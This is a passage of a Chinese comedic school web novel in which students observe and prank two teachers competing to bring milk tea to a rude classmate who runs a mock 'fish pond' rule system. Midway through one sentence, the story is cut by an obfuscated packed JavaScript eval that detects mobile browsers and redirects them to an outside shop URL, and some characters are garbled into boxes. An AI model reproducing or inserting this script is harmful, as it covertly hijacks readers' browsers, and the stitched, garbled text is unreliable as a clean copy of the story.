王鑫捧着奶茶,视死如归地走向三班。 五分钟后,他回来了,脸色古怪。 “怎么样?”洐沁问。 “梦萱接了。”王鑫说,“但她说……” “说什么?” “说‘秃鹫老狗还挺会舔’。” 全班:“……” 洐沁却笑了:“正面反馈!虽然用语粗俗,但接受了礼物,还给了绰号——‘秃鹫老狗’,这属于亲密型侮辱,关系进阶的标志。” “这算进阶?” “当然。”洐沁在本子上写,「赐予专属绰号,是颠婆表达‘你是我的人了’的方式。参考她对程穗的‘圣母裱’,虽然难听,但代表她记住了你。」 我可一点不觉得荣幸呢…… --- 故事如果到此为止,还算正常。 但命运的齿轮一旦转动,就会带起一连串连锁反应。 第二天中午,食堂。 我和洐沁正在排队打饭,看到张聪明端着一盘红烧肉,左顾右盼,然后快步走向一个座位——梦萱坐的那桌。 “有情况。”洐沁立刻掏出手机,假装自拍,实则录像。 张聪明在梦萱对面坐下,笑容满面:“梦萱同学啊~一个人吃饭啊~” 梦萱抬头,瞥了他一眼:“关你屁事。” “老师关心学生啊~”张聪明把自己餐盘里的鸡腿夹到梦萱盘里,“多吃点啊~长身体啊~” 梦萱看着那个鸡腿,又看看张聪明,突然笑了:“张老师,你是不是也想挨巴掌?” 张聪明手一抖:“啊~说什么呢~老师就是关心你~” “关心我?”梦萱用筷子戳着鸡腿,“行啊,那帮我个忙。” “什么忙啊~” “下个月月考,让我数学及格。”梦萱说,“我现在数学38分。” “这个啊~”张聪明搓手,“要靠自己努力啊~” “那鸡腿拿回去。”梦萱把鸡腿扔回他盘里。 张聪明赶紧说:“老师可以给你补课啊~” “补课?”梦萱眼睛一转,“行啊,每周二周四放学后,办公室,一对一。” “啊~这……” “不乐意算了。” “乐意乐意!”张聪明连忙点头,“那说好了啊~” 梦萱得意地笑了,继续吃饭。 张聪明坐在对面,也不吃,就笑眯眯地看着她,眼神温柔得像看自家闺女——如果忽略那里面一丝说不清道不明的东西。 洐沁放下手机,低声说:“第二个了。” “什么第二个?” “第二个沦陷的老师。”洐沁表情严肃,“张聪明老师,绰号‘啊神’,特点:甩锅、油腻、自我感觉良好。现在,新增属性:疑似对颠婆产生异常兴趣。” “他也是死M?” “不一定。”洐沁分析,“张聪明和鲁平人格类型不同。鲁平是压抑型,被打后释放;张聪明是表演型,他可能把‘关心问题学生’当成一种自我感动式的表演。但结果一样——他们都开始围着梦萱转。” 我们打完饭,找了个远离他们的位置坐下。 刚吃两口,就看到鲁平端着餐盘,也在找座位。 他看到了梦萱,也看到了张聪明。 脚步顿住了。 他站在原地,看了三秒,然后转身,走向另一个方向。 背影有点……落寞? 洐沁眯起眼睛:“三角关系,雏形已现。” --- 下午自习课,张聪明突然来到五班。 “同学们啊~通知个事啊~”他站在讲台上,“学校要举办青年教师风采大赛啊~每个班要派一名老师参加啊~咱们班推荐谁啊~” 底下有人喊:“推荐鲁老师!” “鲁老师?”张聪明笑容僵了一下,“鲁老师年纪超了啊~要35岁以下的啊~” “那只有张老师您了啊!” “我啊~”张聪明摸摸头发,“也行啊~那我就代表咱们班参加啊~” 他话锋一转:“不过啊~需要同学们帮忙啊~比赛有个环节是‘学生评价’啊~需要写推荐信啊~程穗啊~你组织一下啊~” 又甩锅。 我刚要答应,洐沁举手:“老师,鲁老师不能参加,但可以当您的‘指导老师’啊。师生合作,更有看点。” 张聪明愣了:“啊~这个……” “而且鲁老师文笔好,可以帮您写演讲稿。”洐沁继续说,“您不是常说‘团结协作’吗?” 张聪明被将了一军,只好说:“那……那我问问鲁老师啊~” 他走出教室。洐沁对我眨眼:“制造接触机会,加速三角关系成型。” “你为什么要加速?” “为了观察。”洐沁理所当然,“三角关系是最稳定的关系结构,也是最容易产生戏剧冲突的结构。作为研究者,我需要一个完整的实验样本。” 我服了。 这人已经把自己活成了真人秀导演。 --- 放学后,洐沁的“开幕式抽象震撼计划”进入实施阶段。 她把五班同学分成三组: 第一组:“道具组”,负责制作服装——用废报纸、塑料袋、彩纸做“抽象战袍”。 第二组:“台词组”,负责编口号——要求既要正能量,又要足够迷惑。 第三组:“行为艺术组”,负责设计开幕式入场动作——洐沁的原话是:“要跳出人类的理解范畴。” 王鑫被分到行为艺术组,苦着脸问:“到底要怎么做?” 洐沁示范:她先正常走三步,然后突然单脚跳,转圈,双手比心,再突然蹲下学青蛙跳,最后站起来敬礼。 全班沉默。 “看懂了吗?”洐沁问。 “看懂了。”王鑫说,“但不想懂。” “那就照做。”洐沁拍板,“记住,我们的目标是:让评委看不懂,但大受震撼。” 训练开始了。 操场上,五班同学穿着用报纸糊成的“铠甲”,练习着诡异的舞步,喊着不明所以的口号: “五班五班!非同一般!火锅在前!抽象当先!” 旁边训练的班级纷纷侧目。 三班的人笑到捶地。 梦萱也在,她抱着手臂看了会儿,突然走过来。 “你们这是在干什么?”她问。 “开幕式表演。”洐沁淡定地说。 “开幕式?”梦萱嗤笑,“像一群精神病院逃出来的。” “谢谢夸奖。”洐沁说,“艺术本就源于疯狂。” 梦萱盯着她看了几秒,突然说:“你们班那两个老师,最近是不是有病?” 洐沁挑眉:“何以见得?” “一个给我送奶茶,一个要给我补课。”梦萱说,“我长得像需要他们关心的人吗?” “也许他们只是……发现了你的闪光点。” “闪光点?”梦萱笑了,“我全身上下都是闪光点,但他们不配看。” 她转身要走,又回头:“告诉那两个老东西,别来烦我。否则下次不是一巴掌能解决的。” 她走了。 洐沁在本子上记:「态度:抗拒中带着享受。她喜欢被关注,但鄙视关注者。经典傲娇型颠婆。」 训练继续。 十分钟后,鲁平来了。 他应该是刚下课,手里还拿着保温杯,站在操场边看了会儿,然后走过来。 “同学们在训练啊。”他说。 “鲁老师好!”大家停下。 “继续,继续。”鲁平摆摆手,目光却在人群中搜寻,“梦萱同学……不在?” “她刚走。”我说。 “哦。”鲁平有点失望,但很快说,“你们练的这个……很有创意。” “老师觉得好看吗?”我问。 “好看……不好看……嗯……”鲁平斟酌措辞,“很有哲学意味。混乱中蕴含秩序,荒诞中体现真实。就像……后现代主义艺术。” 全班:“……”老师您真能编。 鲁平却越说越认真:“真的。你们看这个报纸铠甲,象征着知识的武装;这个青蛙跳,象征着……嗯……生命的活力。很好,继续。” 他鼓励了一番,走了。 五分钟后,张聪明也来了。 他刚开完会,领带歪着,肚子把衬衫扣子绷得紧紧的。 “练得怎 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“老师也是环境的一部分。”洐沁说,“而且,我预感老师很快就会成为‘战场’的一部分。” 她的话,在第二天就应验了。 --- 周五早晨,我第一个到教室。 刚开门,就看到讲台上放着两杯奶茶。 一杯贴着蓝色便签:「天冷了,注意保暖。——鲁」 一杯贴着粉色便签:「学习辛苦了啊~补充能量啊~——张」 我愣在门口。 这时,梦萱从楼梯口走上来——她居然来这么早。 看到我,她挑眉:“站门口干嘛?” 我让开,她看到讲台上的奶茶,也愣了。 然后,她笑了。 不是冷笑,是真笑,笑得肩膀都在抖。 “这两个老东西……”她摇头,走过去,拿起两杯奶茶,一手一杯。 “你要喝?”我问。 “喝啊。”她说,“不喝浪费。” 她插上吸管,左一口右一口,像品酒一样。 然后评价:“蓝签这杯三分糖,太淡;粉签这杯全糖,太腻。都不行。” 但她还是喝完了。 喝完后,她把杯子扔进垃圾桶,拍拍手,对我说:“告诉你们班那两个老师,明天我要喝芋圆奶茶,一杯三分糖一杯七分糖,我要对比哪杯好喝。” 说完,她哼着歌走了。 我站在原地,看着垃圾桶里的两个杯子,突然觉得这个世界好荒谬。 更荒谬的是,我把这话转达给两位老师时,他们的反应。 鲁平认真记在备课本上:“芋圆奶茶,一杯三分糖,一杯七分糖。好的,我记下了。” 张聪明则摸着下巴:“啊~她要对比啊~那得买不同品牌的啊~看看她喜欢哪个啊~” 他们真的要去买。 而且,撞上了。 --- 周六下午,学校门口的奶茶店。 据目击者(刚好在买奶茶的五班同学)描述: 鲁平和张聪明几乎同时到达奶茶店,同时说出“芋圆奶茶”,然后同时看到对方。 沉默。 尴尬的沉默。 然后张聪明先开口:“啊~鲁老师也来买奶茶啊~” 鲁平:“嗯。” “给家人买啊~” “不是。” “那是……” “给学生买。”鲁平说,“梦萱同学想喝。” 张聪明的笑容僵住:“巧了啊~我也是啊~” 两人对视,眼神里有火花。 “她要的是三分糖和七分糖。”鲁平说,“我买两杯。” “那怎么行啊~”张聪明说,“要买不同品牌的对比啊~我已经研究过了啊~这家芋圆软糯啊~那家奶茶醇香啊~” “她没说品牌。” “但对比要全面啊~” 两人争起来,声音越来越大,引得其他顾客侧目。 最后,店员弱弱地说:“两位老师……要不……各买各的?” 店员:麻痹的俩死颠公到底买不买!!! 他们这才停下,各自买了两杯。 然后一前一后走出奶茶店,互相不理睬。 目击者拍下了照片:两个中年男人,一手拎两杯奶茶,背影倔强又孤独。 照片传到五班群,炸了。 洐沁立刻召开紧急分析会: “战争,正式开始了。”她说,“从暗地较劲升级为公开竞争。这是三角关系的第一个高潮。” “我们要做什么?”有人问。 “观察,记录,以及——”洐沁顿了顿,“适当煽风点火。” “怎么煽?” 洐沁笑了:“比如,告诉鲁平,张聪明买的奶茶更贵;告诉张聪明,鲁平买的奶茶店员说更好喝。然后,看戏。” 全班:“……” “这不太好吧?”我说。 “这是为了研究。”洐沁理直气壮,“而且,他们自愿的,我们只是……加速进程。” 我看着群里那张照片,两个老师的背影在夕阳下拉得很长。 突然觉得他们有点可怜。 但又觉得……有点好笑。 这算什么? 中年教师的第二春? 还是秃顶油腻男的终极对决? 我不知道。 我只知道,下周的政治课和数学课,一定会很精彩。 而梦萱,那个始作俑者,此刻大概正跷着二郎腿,等着她的奶茶吧。 这个世界,真的越来越抽象了。 10. 第 10 章 周一早晨,五班黑板出现了一封“公开信”。 字迹狂放,用的是彩色粉笔,还画了花边——一看就是梦萱的手笔。 信的内容如下: 《致高二五班鲁平、张聪明老师的鱼塘管理告知书》 第一条:本鱼塘实行配额制。每人每周最多投喂三次(食物、饮料、小礼物等均算一次)。 第二条:投喂需提前24小时预约,私信我确认品类、时间、地点。未经预约直接投递者,拒收。 第三条:投喂物品需符合以下标准:食物类需有独立包装且保质期三天以上;饮料类需标明糖度温度;礼物类单价不得超过50元(超过部分按行贿处理)。 第四条:禁止在公共场合(教室、办公室、走廊)发生争抢、对峙等不体面行为。违者停投一周。 第五条:每月进行一次“鱼塘满意度测评”,综合评分低者,降级为“待观察鱼”。 第六条:最终解释权归鱼塘主(我)所有。 落款:鱼塘主·梦萱 附:本周已用额度:鲁平(1/3),张聪明(1/3) 全班同学站在黑板前,沉默了整整一分钟。 然后爆笑。 “鱼塘管理……哈哈哈哈!” “还有满意度测评?!” “待观察鱼是什么鬼啊!” 洐沁第一时间拍照,在观察笔记上写道:「系统性管理思维显现。她将两位老师的追求行为商品化、流程化,建立了一套完整的控制体系。这是权力关系的具象化表达,也是颠婆行为模式的重大升级。」 王鑫擦着笑出来的眼泪:“她真把这当企业管理了?” “从管理学角度,这很科学。”洐沁认真分析,“设定规则、明确奖惩、掌握解释权——这是标准的制度设计。只是应用场景过于抽象。” “那两位老师会遵守吗?”我问。 “会。”洐沁肯定地说,“他们已经进入‘服从测试’阶段,越离谱的规则,他们越会遵守,以证明自己的‘忠诚’。” 她话音刚落,鲁平就出现在教室门口。 他今天穿了件深灰色夹克,秃顶在晨光中泛着柔光,像抛光过的大理石。 看到黑板上的“鱼塘告知书”,他愣了三秒。 然后,他做了一件让全班目瞪口呆的事——他从公文包里掏出笔记本和笔,开始抄写。 一字一句,工工整整,抄完还核对了一遍。 抄完后,他看向我:“程穗同学,这个……能擦了吗?” “可以……” “等一下。”他又说,“我拍个照。” 他拿出手机——还是老式的翻盖机——笨拙地对着黑板拍照,拍了三张,确认清晰,才说:“好了,可以擦了。” 我擦黑板时,听到他小声嘀咕:“每周三次……要规划一下……” 他走了。 五分钟后,张聪明来了。 他看到黑板已经擦干净,愣了一下:“啊~今天没通知啊~” 有同学好心告诉他:“张老师,刚才黑板上有个‘鱼塘管理告知书’,被鲁老师抄完擦掉了。” 张聪明脸色一变:“什么内容啊~” 同学复述了一遍。 张聪明听完,第一反应是掏手机——他的是智能手机,动作比鲁平利索多了。他在备忘录里快速打字,嘴里还念叨:“每周三次……预约制……50元上限……” 记完后,他抬头,笑容有点勉强:“这个梦萱同学啊~很有创意啊~” “老师您会遵守吗?”有胆大的同学问。 “当然啊~”张聪明挺直腰板,“老师要尊重学生的想法啊~” 但他走出去时,背影明显有些凌乱。 洐沁点评:“鲁平是认真型,张聪明是应付型。但殊途同归——他们都会遵守。因为不遵守就会被‘踢出鱼塘’,这对他们已经形成心理威慑。” “这么夸张?” “你等着看。”洐沁说。 --- 第一节课下课,梦萱的“鱼塘管理”就迎来了第一次实战。 鲁平拿着一个纸袋,站在三班门口,礼貌地敲门:“梦萱同学在吗?” 梦萱走出来,瞥了眼纸袋:“预约了吗?” “预约了。”鲁平从口袋里掏出手机——他居然学会用微信了,“昨晚八点十五分,我问‘明天早上可以给你带早餐吗’,你回了个‘嗯’。” 他翻出聊天记录。 梦萱凑过去看,确认后点头:“行,什么东西?” “三明治和豆浆。”鲁平递过纸袋,“三明治是火腿鸡蛋,豆浆三分糖,温度60度左右,用保温袋装着。” 梦萱接过来,打开检查,然后拿出手机,在某个界面操作了一下:“登记了。本周额度:鲁平(2/3)。下一个预约是周三下午,奶茶,记得提前问我要什么口味。” “好的。”鲁平点头,转身离开,脚步轻快。 全程不到两分钟,流程规范得像快递取件。 围观同学惊呆了。 更绝的是,张聪明正好从办公室出来,看到了这一幕。 他站在原地,脸色变幻,然后快步走回办公室——大概是去查看自己的“预约排期”了。 洐沁在本子上狂记:「规则内化完成。双方已接受‘鱼塘主-鱼’的权力结构。接下来会进入规则内竞争阶段,即比谁更会‘遵守规则’。」 果然,下午放学时,张聪明出手了。 他没有直接找梦萱,而是通过三班一个女生传话:“张老师说,他预约了明天的‘课业辅导’,时间地点按您的要求私信确认了,请您查收。” 梦萱看完微信,回复了一个“ok”手势。 然后她对那个传话女生说:“告诉张老师,明天带教辅书来,我要《五年高考三年模拟》数学版。” 女生跑去传话。 五分钟后回来:“张老师说,他买了两种版本,A版和B版,都带来给您选。” 梦萱满意地点头:“登记,张聪明本周额度(2/3)。” 全程,两位老师没有碰面,没有冲突,一切在规则内有序进行。 洐沁评价:“这就是制度的威力。无序竞争变为有序竞赛,冲突被规则框住,反而更稳固了。” “但这不是更病态了吗?”我说。 “是病态。”洐沁承认,“但病态得很有秩序。从研究角度,这是珍贵样本。” --- 周三,大雄正式登场。 其实他一直存在——作为一班的学生,身高一米八,虎背熊腰,鼻子大塌且布满痘痘,在年级里也算“有名”。 但之前他和梦萱没有交集。 直到周三体育课,三班和一班同时上。 自由活动时,梦萱在练跳远——运动会她报了女子跳远。 她跳得很差,姿势怪异,像只被扔出去的□□。 大雄在旁边看了一会儿,忍不住说:“你起跳角度不对。” 梦萱转头,打量这个陌生男生:“你谁啊?” “一班,张大雄。”他挠挠头,“你该用大腿发力,不是小腿。” “用你教?”梦萱翻白眼。 大雄也不生气,走过去,在沙坑边示范了一次。 他跳得并不远——大概四米多,但他姿势标准,起跳、腾空、落地,一气呵成。 “看到没?”他站起来,拍拍手上的沙,“要这样。” 梦萱盯着他看了三秒,突然笑了:“你鼻子上的痘,像北斗七星。” 大雄愣住,摸了摸鼻子:“真、真的吗?” “真的。”梦萱凑近看,“七颗,刚好排成勺子状。你该去代言祛痘膏,广告词就叫‘连北斗七星都能祛掉’。” 一般人被这么说会生气。 但大雄笑了,笑得很憨:“你是第一个这么说的人。” “因为其他人不敢说。”梦萱叉腰,“我敢。我叫梦萱,做梦的梦,萱草的萱。” “我知道你。”大雄说,“三班的,很……厉害。” 他本来想说“很凶”,临时改口。 “算你会说话。”梦萱扬下巴,“再来一次,教我怎么跳。” 大雄真的认真教起来。 他话不多,但动作示范很仔细,还会用手比划角度。 梦萱学了一会儿,跳得还是像癞??□□????,但她不骂人了,反而问:“你运动会报了什么?” “铅球和铁饼。”大雄说,“还有五千米。” “五千米?你傻啊?那累死人。” “我耐力好。”大雄说,“而且……奖金高。” “缺钱?” “嗯。”大雄老实点头,“想买个新篮球。” 梦萱看了他一会儿,突然说:“你当我跟班吧。” “啊?” “跟我混,我给你买篮球。”梦萱说,“但你要帮我训练,运动会我要拿跳远金牌。” 大雄犹豫:“可我要训练自己的项目……” “你的项目简单。”梦萱摆手,“铅球铁饼,不就是扔东西吗?你这么大块头,随便扔扔就行了。跳远需要技术,我需要你。” 大雄想了想:“那……行吧。” “成交。”梦萱伸出手。 大雄握了握——他的手很大,梦萱的手在他手里像小孩的手。 这一幕,被在操场另一头“观察训练”的洐沁完整拍下。 她回来时,眼睛发光:“新变量出现了!” “大雄?” “对。”洐沁调出照片,“你们看,梦萱对大雄的态度,和对待两位老师完全不同。” 照片上,梦萱虽然还是那副颐指气使的样子,但眼神里没有厌恶,反而有种……找到新玩具的新鲜感。 “她不骂他?”王鑫问。 “骂了,但骂的内容是‘你鼻子上的痘像北斗七星’。”洐沁分析,“这是侮辱吗?是。但也是关注。而且大雄的反应是‘你是第一个这么说的人’——他把侮辱当成了独特关注。这两人,一个愿打一个愿挨,绝配。” “所以……” “所以鱼塘要扩容了。”洐沁在笔记本上画关系图,「两位老师是‘饲养鱼’,大雄是‘工具鱼’。但工具鱼如果升级,可能威胁饲养鱼的地位。接下来,会有好戏看了。」 她的预言,在当天下午就应验了。 --- 放学后,梦萱和大雄在操场训练。 鲁平拿着两杯奶茶走来——他预约了今天的“投喂”。 看到梦萱和大雄在一起,他脚步顿住了。 张聪明也来了——他预约的是“课业辅导”,带着《五三》和教案。 两位老师,在操场边,同时看到了梦萱和大雄的“训练画面”: 大雄蹲在沙坑边,手把手教梦萱起跳姿势,梦萱虽然嘴上骂骂咧咧,但居然乖乖跟着学。 鲁平的奶茶,递到一半,僵在空中。 张聪明的《五三》,抱在怀里,忘了放下。 他们对视一眼,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064644|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神里第一次有了“同病相怜”的意味。 然后,两人同时走向梦萱。 “梦萱同学。”鲁平先开口,“奶茶,七分糖,加芋圆,按你要求。” “先放那边。”梦萱头也不回,“等我练完这一跳。” 张聪明挤过来:“梦萱同学啊~辅导时间到了啊~” “改天。”梦萱说,“今天我要练跳远。” 两位老师被晾在一边。 他们看着大雄——这个虎背熊腰、满脸痘痘的男生,正认真地调整梦萱的手臂角度。 “手再抬高一点……对……就这样……” 梦萱跳了出去。 还是像□□,但远了一点。 “有进步!”大雄鼓掌。 梦萱笑了——不是冷笑,是真笑:“真的?” “真的。”大雄认真点头,“至少远了十公分。” 鲁平和张聪明站在原地,手里拿着奶茶和教辅,像两个送外卖被拒收的小哥。 他们默默离开了。 走远后,张聪明说:“啊~那个男生是谁啊~” “一班的,张大雄。”鲁平说,“体育生。” “体育生啊~”张聪明语气微妙,“年轻啊~有活力啊~” 鲁平没接话。 但那天晚上,五班“线人”报告:鲁平在办公室待到很晚,一直在查“青少年运动训练指南”。 张聪明则给梦萱发了三条微信,内容分别是: 「老师认识体校教练啊~需要的话可以介绍啊~」 「数学辅导可以调整时间啊~以你为主啊~」 「要注意安全啊~别受伤啊~」 梦萱一条没回。 --- 周四,鱼塘管理告知书出了补充条款: 补充条款一:工具鱼(特指张大雄)不占用投喂额度,但需登记用途。 补充条款二:饲养鱼若对工具鱼有异议,可书面申诉,但鱼塘主有最终裁定权。 补充条款三:所有鱼类禁止私自斗殴、诋毁、使绊子,违者永久踢出鱼塘。 这条款是贴在三班门口的,但五班第一时间收到了照片。 洐沁召开紧急分析会: “局面复杂化了。”她说,“梦萱意识到两位老师的危机感,于是用条款明确大雄的‘工具属性’,安抚他们。但同时又给工具鱼特权,刺激饲养鱼竞争。这是高明的管理手段。 “她会玩脱吗?”王鑫问。 “目前不会。”洐沁说,“两位老师已经被规则驯化,大雄是憨厚型,三股势力都在她掌控中。除非……” “除非什么?” “除非有人破坏规则。”洐沁看向窗外,“或者,有新的变量介入。” 她说的“破坏规则”,在周五发生了。 而且破坏者,是两位老师自己。 --- 周五下午,教师办公室。 鲁平和张聪明因为“青年教师风采大赛”的事吵起来了——表面上是为比赛,实际上谁都明白是为了什么。 据在办公室送作业的同学描述,对话如下: 张聪明:“啊~这个演讲稿啊~我觉得要突出亲和力啊~” 鲁平:“亲和力不是装可爱。要体现教师专业素养。” 张聪明:“学生喜欢活泼的老师啊~” 鲁平:“学生喜欢的是尊重,不是讨好。” 张聪明:“鲁老师这话什么意思啊~” 鲁平:“字面意思。” 两人越说越僵,声音越来越大。 最后,张聪明说了一句:“啊~某些人啊~自己不受学生欢迎啊~就别指点别人啊~” 鲁平拍桌而起:“你说谁不受欢迎?!” “谁接话就说谁啊~” 办公室其他老师赶紧劝架。 但话已经说出去了。 鲁平脸色铁青,摔门而出。 张聪明坐在座位上,脸色也不好看。 这件事,十分钟后就传遍了年级。 自然也传到了梦萱耳朵里。 她的处理方式很“梦萱”: 她在校园墙发了个帖子,没点名,但所有人都懂: 「某些鱼类,注意素质。再发生内斗,直接清塘。」 配图是一张鱼塘的网图,上面P了两个字:“肃静”。 鲁平和张聪明都看到了。 据目击者称,鲁平在看到帖子后,在走廊站了很久,然后去小卖部买了瓶水,一口气喝完。 张聪明则一整个下午没说话,破天荒地没“啊”。 鱼塘管理,初见成效。 但代价是,两位老师的尊严,已经所剩无几。 --- 晚上训练后,洐沁对我说:“程穗,我想做个实验。” “什么实验?” “我想测试规则破坏的临界点。”她说,“比如,如果梦萱的规则明显不公平,两位老师还会遵守吗?” “你要怎么做?” “明天你就知道了。”洐沁神秘一笑,“这周末,鱼塘会有场‘压力测试’。” 我看着她兴奋的表情,突然有点不安。 这个同桌,已经把观察研究,玩成了真人实验。 而实验对象,是两位老师和一位颠婆。 还有一位憨憨的体育生。 这实验,会出什么事? 我不知道。 但我知道,以洐沁的风格,一定会很“精彩”。 也很抽象。 11. 第 11 章 大雄的人生信条很简单: 1. 能动手就别吵吵 2. 能吃饭就别饿着 3. 别人骂你,一定是因为你值得被注意 所以当梦萱指着他的鼻子说“你脸上的痘能拼出世界地图”时,大雄的第一反应是掏出小镜子,认真观察:“真的吗?哪是亚洲?” 梦萱愣了三秒,然后笑得差点从单杠上摔下来。 “你他妈真是个宝贝!”她拍着大腿,“从今天起,你就是我的首席跟班了!” 大雄挠挠头:“首席跟班……是干啥的?” “就是我说啥你干啥。”梦萱跳下单杠,“现在,去给我买瓶水,要冰的,但不要太冰,要有气泡,但不能太冲,要柠檬味,但不能太酸。” 大雄站在原地,脑子处理了十秒钟,然后问:“那到底是啥?” “矿泉水就行!”梦萱踹他一脚,“快去! 大雄乐呵呵地去了。 五班观察员王鑫实时汇报:“大雄买水回来了,还多买了一包纸巾,说‘你出汗了擦擦’。” 洐沁在观察笔记上写:「初步判断,张大雄同学患有‘侮辱型赞美认知障碍’,简称‘骂夸症’。临床表现:将一切侮辱性语言自动翻译为关心和赞美。」 --- 周三下午,梦萱的“鱼塘压力测试”开始了。 洐沁伪造了一份《鱼塘管理规则2.0版》,通过匿名小号发给了鲁平和张聪明。 主要内容包括: 1. 新增“亲密度任务”:每周需完成一项指定任务以提升亲密度等级。本周任务:鲁平需在政治课上公开背诵《梦萱赞美诗》;张聪明需在数学课上用“啊”字造句夸梦萱。 2. 引入“竞争性投喂”:同品类物品(如奶茶)将进行盲测打分,评分低者扣除一次投喂额度。 3. 设立“鱼塘贡献榜”:每月根据投喂价值、任务完成度、忠诚度等综合评分,排名末位者降为“实习鱼”。 邮件末尾还附了一句:「本规则最终解释权归鱼塘主,如有异议请憋着。」 洐沁发送完,转头对我说:“实验开始。预测:鲁平会认真执行,张聪明会试图钻空子,梦萱会一头雾水然后将计就计。” 一小时后,鲁平的回复来了。 只有两个字:「收到。」 紧接着,张聪明的回复也来了:「啊~这个规则啊~需要开会讨论一下啊~」 洐沁冷笑:“经典张聪明式回应——用流程拖延。但他最终会妥协,因为他怕被踢出鱼塘。” 果然,下午政治课前,鲁平找到我,表情严肃:“程穗同学,请教一下,现代诗……怎么写?” 我:“???” “《梦萱赞美诗》。”鲁平推了推眼镜,“我查了资料,赞美诗一般是歌颂神祇的。用这个格式赞美学生,是否……不太合适?” 我憋着笑:“老师,这可能是恶作剧……” “不。”鲁平认真摇头,“规则就是规则。既然鱼塘主发布了新规,就要遵守。我只是需要一些……艺术指导。” 他掏出一张皱巴巴的纸,上面已经写了几行: 「梦萱同学,如朝阳 照亮教室的每个角落 你的话语,如惊雷 唤醒我沉睡的灵魂」 我看完,沉默了五秒。 “老师,这诗……押韵吗?” “现代诗不讲究押韵。”鲁平认真地说,“讲究意境。你看,‘朝阳’和‘惊雷’,一个温暖一个激烈,象征她性格的两面性。” 我:“……”你开心就好。 --- 下午数学课,张聪明开始了他的表演。 讲课到一半,他突然说:“同学们啊~我们来做个小练习啊~用‘啊’字造句啊~” 底下同学憋笑憋出内伤。 张聪明浑然不觉,自顾自示范:“比如啊~‘梦萱同学今天的气色真好啊~’” 全班寂静。 张聪明继续:“或者啊~‘梦萱同学的作业写得真工整啊~’” 有同学忍不住了:“老师,梦萱今天没交作业……” 张聪明面不改色:“那是因为她在认真思考啊~” 洐沁在本子上记:「睁眼说瞎话能力:★★★★★」 下课前五分钟,张聪明完成了他的“啊字造句任务”,一共造了七个句子,句句带梦萱,句句离谱,包括: 「梦萱同学打哈欠的样子真有活力啊~」 「梦萱同学转笔的技术真专业啊~」 「梦萱同学睡觉的姿势符合人体工学啊~」 梦萱本人趴在三班桌上睡觉,根本不知道发生了什么。 但三班的同学们笑疯了---有人偷偷录了视频。 视频传到年级群,标题是《数学老师的语言艺术:如何用“啊”字完成一场行为艺术》。 张聪明一夜之间成了年级红人。 但他本人似乎很满意,放学后还给梦萱发了条微信:「今天的任务完成了啊~请查收啊~」 梦萱回了个问号。 张聪明截图发到“教师鱼塘群”——这个群只有他和鲁平,是洐沁建议他们建的,方便“鱼塘事务沟通”。 鲁平看到后,急了。 他立刻在政治课班级群里@全体成员:「今晚八点,线上诗歌朗诵会,特邀梦萱同学聆听我的新作《梦萱颂》。请同学们准时参加。」 全班:“???” 梦萱在群里回:「你有病?」 鲁平:「这是规则要求的亲密度任务。请你配合。」 梦萱:「配合你妈币!」 但她还是来了。 毕竟,她也好奇这秃顶老师能整出什么活。 --- 晚上八点,五班□□群语音频道。 在线人数:45人(全班到齐)+3人(梦萱、鲁平、张聪明强行加入)。 鲁平清了清嗓子,破锣嗓子在电流声里更显沧桑: “各位同学,晚上好。今天,我为大家朗诵我的原创诗歌《梦萱颂》。” 背景音里传来他翻纸的声音。 然后,他开始念: “第一章:晨光中的你 你走进教室,如台风过境 书包甩在桌上,如战鼓擂鸣 你说‘都他妈安静’,如法官宣判 那一刻,我看到了秩序之美” 全班在公屏刷: 「?????」 「秩序之美???」 「老师您滤镜是不是太厚了?」 梦萱开麦:“停!别念了!” 鲁平:“还有三章。” “你特么嘴夹住!” “这是任务。”鲁平坚持,“规则2.0第4.3条:任务中断视为未完成,扣5点亲密度。” 梦萱:“哪来的规则2.0?!” 张聪明开麦:“啊~梦萱同学啊~邮件收到了啊~” 梦萱:“什么邮件?” 洐沁赶紧私聊我:“实验出现意外,她不知情。现在怎么办?” 我:“你搞出来的,你收拾。” 洐沁:“求了求了,班长大人~~~” 我:“滚啊,你真恶心……” 不过我还是在群里说:“老师,可能发错人了。这是年级文艺部的活动通知。” 鲁平:“文艺部?可上面写的是‘鱼塘管理规则2.0’……” 张聪明:“对啊~还有亲密度任务啊~” 我面不改色:“那是文艺部的内部代号。‘鱼塘’指文艺人才库,‘亲密度任务’指培养演员默契度的练习。” 沉默。 长达三十秒的沉默。 然后鲁平说:“所以……我不用念了?” “不用了老师。”我说,“抱歉,发错群了。” 鲁平:“那我这诗……” “可以投稿给校刊。”洐沁说,“标题改成《致青春》。” “好。”鲁平满意了,“那我下了。” 张聪明也退了。 梦萱在群里发了条语音,笑得喘不过气:“你们两个老东西……哈哈哈哈……还他妈诗歌朗诵……笑死我了……” 她笑完,又说:“不过诗写得还行,至少比张聪明那‘啊字造句’强。” 然后她也退了。 全班在群里刷屏: 「班长牛逼!」 「这都能圆回来?」 「鲁老师真写诗了啊!」 洐沁私聊我:“实验失败,但收获意外数据:鲁平的诗歌创作能力超出预期,张聪明的‘啊字造句’已形成个人风格。另外,梦萱对诗歌的接受度高于预期,可考虑以此作为新的接触点。” 我:“你还想继续实验?” 洐沁:“当然。下一步,我打算引导两位老师进行‘才艺比拼’。” 我:“你又要拿我当挡箭牌是吧。” 洐沁:“没有啦~我们班长大人不会抛弃我的对不对?【哭哭脸】” “……傻逼,比如?” “咳咳……比如,让鲁平给梦萱画肖像画,让张聪明给她编数学题。”洐沁兴致勃勃,“看谁的作品更能打动她。” 我放下手机,看着天花板。 我的同桌,正在用科学的方法,把两位老师和一位颠婆,驯化成她的实验小白鼠。 而他们,居然还挺配合。 这世界,没救了。 --- 周五,大雄的“骂夸症”症状加剧。 体育课,梦萱练跳远又摔了个狗吃屎。 大雄跑过去扶她,梦萱骂:“你教的什么破方法!害我摔跤!” 大雄认真道歉:“对不起,是我没教好。但你摔跤的姿势很优美,像芭蕾舞演员谢幕。” 梦萱:“???” 